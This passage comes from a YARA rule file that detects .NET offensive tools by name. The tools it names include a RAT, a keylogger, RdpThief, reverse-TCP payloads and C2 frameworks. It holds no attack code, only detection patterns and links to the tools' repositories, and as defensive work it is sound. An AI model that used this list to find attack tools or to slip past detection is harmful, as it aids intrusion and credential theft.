		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "RevengeRAT-Stub-CSsharp" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpyshell : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "3069c5eb-446e-5bfa-9df0-2e03f229d4d1"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/antonioCoco/SharPyShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L152-L165"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "89d0010c08349f8982c7f5aa5f7855702556ce10f9f3b5b18b61349c5233e001"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "SharPyShell" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Ghostloader : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "d8d88f3f-f250-55ff-88a6-4623e12ef89d"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/TheWover/GhostLoader"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L167-L180"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "91527b4b35f2bb1aeee236647c5169c67f2b9cfb867f2b6d486bd8d8b7455d4b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "GhostLoader" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Dotnetinject : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "468f89c4-5b94-53be-b9e6-ad21de7d98ba"
		date = "2021-01-22"
		modified = "2022-06-28"
		reference = "https://github.com/dtrizna/DotNetInject"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L182-L202"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "07ba4ba23372dbc2618dcea89ef643cd68371ace1116bfeb939b0f9adfc425bb"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "DotNetInject" ascii wide
		$compile = "AssemblyTitle" ascii wide
		$fp1 = "GetDotNetInjector" ascii
		$fp2 = "JetBrains.TeamCity.Injector." wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 20MB and $name and $compile and not 1 of ( $fp* )
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Atpminidump : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "97981569-fe94-5600-8319-946edb4265e7"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/b4rtik/ATPMiniDump"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L204-L217"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7498ed5d11b9c3646ebd2d1330a239c43e9c5b270b1778871c2821a2fefb5137"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "ATPMiniDump" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpbuster : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "d30c8ee5-88b9-53b5-b209-51f6f3b988cf"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/passthehashbrowns/SharpBuster"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L236-L249"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cdc19e03f75f34e6349937c0bff313298fc9310f361eec7af022c450d083ad96"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "SharpBuster" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Recon_AD : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "097de5cd-0cd4-59cc-a7b7-54cad8e6d230"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/outflanknl/Recon-AD"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L273-L286"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7bfafb2d3e85bb584bd02cb92457d22b07626f71d071c44a4aefbb5748045446"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "Recon-AD" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpwatchdogs : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "5343be58-879a-5fe7-9036-ee6a22d85f22"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/RITRedteam/SharpWatchdogs"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L288-L301"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3b9410d7e502a5fd55e534d8fe79710d48cf65a0e9859bdd0fea6c8d32311df0"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "SharpWatchdogs" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpcat : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "a46be8d3-bf7b-5d86-b88b-33e6c8c152d8"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/Cn33liz/SharpCat"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L303-L316"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b9e5946f8df1649e71abf014aa6579edbbc93a12ddcc56f8d85d97ae087c8711"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "SharpCat" ascii wide fullword
		$compile = "AssemblyTitle" ascii wide fullword
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_K8Tools : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "b30fc856-073d-542f-b222-a957322732c2"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/k8gege/K8tools"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L318-L331"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "370cab83917bbc76f7f3a1b7793773ddf139879880e55efe59c72a07b34120f1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "K8tools" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Httpsbeaconshell : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "3bd7234b-a23e-5818-aed1-52d42023943b"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L333-L346"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6a0d7e1f796ae6cefa297978c743916a08b2406c37fa2c1f3f697a17cb032517"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "HTTPSBeaconShell" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Ghostpack_Compiledbinaries : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "7cc81894-8c01-5a17-a7ed-1cb4cf1e2d53"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L348-L361"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a8e90f07b7d1ec309e51e3606169a05c4bb2b2aa7e31ca26b21f927d648c13cd"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "Ghostpack-CompiledBinaries" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Metasploit_Sharp : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "b425f241-4887-5368-b42b-3fbbd3b769c6"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/VolatileMindsLLC/metasploit-sharp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L363-L376"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7a1c4e077e197a5cdca8cb12713abb3fa86a3f6ea8e8f2f632c9c8e42d829acc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "metasploit-sharp" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Trevorc2 : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "d1634a0d-6964-5886-b836-85c3ce6b8a17"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/trustedsec/trevorc2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L378-L391"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c1d56ef865e6619d9d0deff90b154c63cc3036a8521d3952819e45f51fca9fea"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "trevorc2" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_DNS2 : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "0fa01355-de57-573e-9056-0b7a5d24572d"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_DNS2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L393-L406"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "765e6117f69fb58e5e71544badc8135b2ec641a74cc0489a7c79308ca2837bd7"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "NativePayload_DNS2" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Aggressiveproxy : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "e2d3c4e2-404b-59f8-b3d0-a7cef4dfd0ff"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/EncodeGroup/AggressiveProxy"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L408-L421"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "702b0cc858cb1687962ac403a730e5f778bf51fc91627c50103e4299f4a3ca5f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "AggressiveProxy" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Msbuildapicaller : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "143da57f-b01f-5688-b741-1bc4d06cd7d1"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/rvrsh3ll/MSBuildAPICaller"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L423-L436"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3c1f33c759e6331c562dbf76ce7e34ee82d10070e331d0967143d9d7fad077fc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "MSBuildAPICaller" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Graykeylogger : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "c63875b6-1701-5594-927e-833c25dc5d98"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/DarkSecDevelopers/GrayKeylogger"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L438-L451"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b8e12c5ddf0d50d0b3681594c8bc3410a24dab00035a5959e20d20045dacbbbd"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "GrayKeylogger" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Weevely3 : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "6bf766b6-d065-5a84-8258-3be448b9cbb8"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/epinna/weevely3"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L453-L466"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c57c6ba5276679a2d32e9b0ebb61059c5bed1ba45f9792ecef3d5c7244f38f24"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "weevely3" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Fudgec2 : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "a8e70bce-76dd-53dc-9a19-1cc6795fdef3"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/Ziconius/FudgeC2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L468-L481"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "89f3bf4b81a901e813c3021422c362d7e075dec7fd76240be121f677039f1994"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "FudgeC2" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_Reverse_Tcp : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "a6b935cc-adb6-5ff4-a832-1043e77292f7"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L483-L496"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "055ee105cd46e54b4f49dd92975ecc08a6184fa8508585ee528d19de34914758"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "NativePayload_Reverse_tcp" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Sharphose : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "89b00eb0-f1a2-5c77-a5b0-2329b08aadb7"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/ustayready/SharpHose"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L498-L511"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e3af2a156c2451f7ed2fe3e888fdf2ae080298f7eff56801ddc0c612f04902ee"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "SharpHose" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_RAT_Njrat_0_7D_Modded_Source_Code : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "2b7d1f75-0164-561e-8199-32c601cbca98"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/AliBawazeEer/RAT-NjRat-0.7d-modded-source-code"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L513-L526"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f437195348452242adc8b55d6d517a17764c53188fa2de5cd15848fd23827381"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "RAT-NjRat-0.7d-modded-source-code" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Rdpthief : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "5ad4feec-50db-5ebb-a609-9196e72a24aa"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/0x09AL/RdpThief"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L528-L541"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8e472c8265d517e512eada819627d56ff449fae4d80054946e9ea96f74004f05"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "RdpThief" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Runascs : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "c5fc5b01-1d30-5af5-be99-e629cb23295b"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/antonioCoco/RunasCs"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L543-L556"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9fd22a3e92222134c101693b944a2ad53055f9cfafe99823fd6f412981f5afa3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "RunasCs" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_IP6DNS : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "3b32b408-e71a-5f2a-ae6f-72a3d6572b71"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_IP6DNS"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L558-L571"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "509c396b97524335735107644460eebed3146b2bc5f8dedb909c9754b2121f5f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "NativePayload_IP6DNS" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_ARP : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "9fac11f8-4e40-5cbc-a990-2ae48df20828"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_ARP"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L573-L586"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e8cecfe09f1cb80eb693eb293dfb8c1bc3885a96dfa045b2391216c5f6f6f983"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "NativePayload_ARP" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_C2Bridge : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "357051aa-61ea-5454-a996-b4e3a45ac865"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/cobbr/C2Bridge"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L588-L601"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d5f6d6e9d475bf2d8a49d7550bf3b718539753f3494b58462094bfc0a37b813a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "C2Bridge" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Infrastructure_Assessment : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
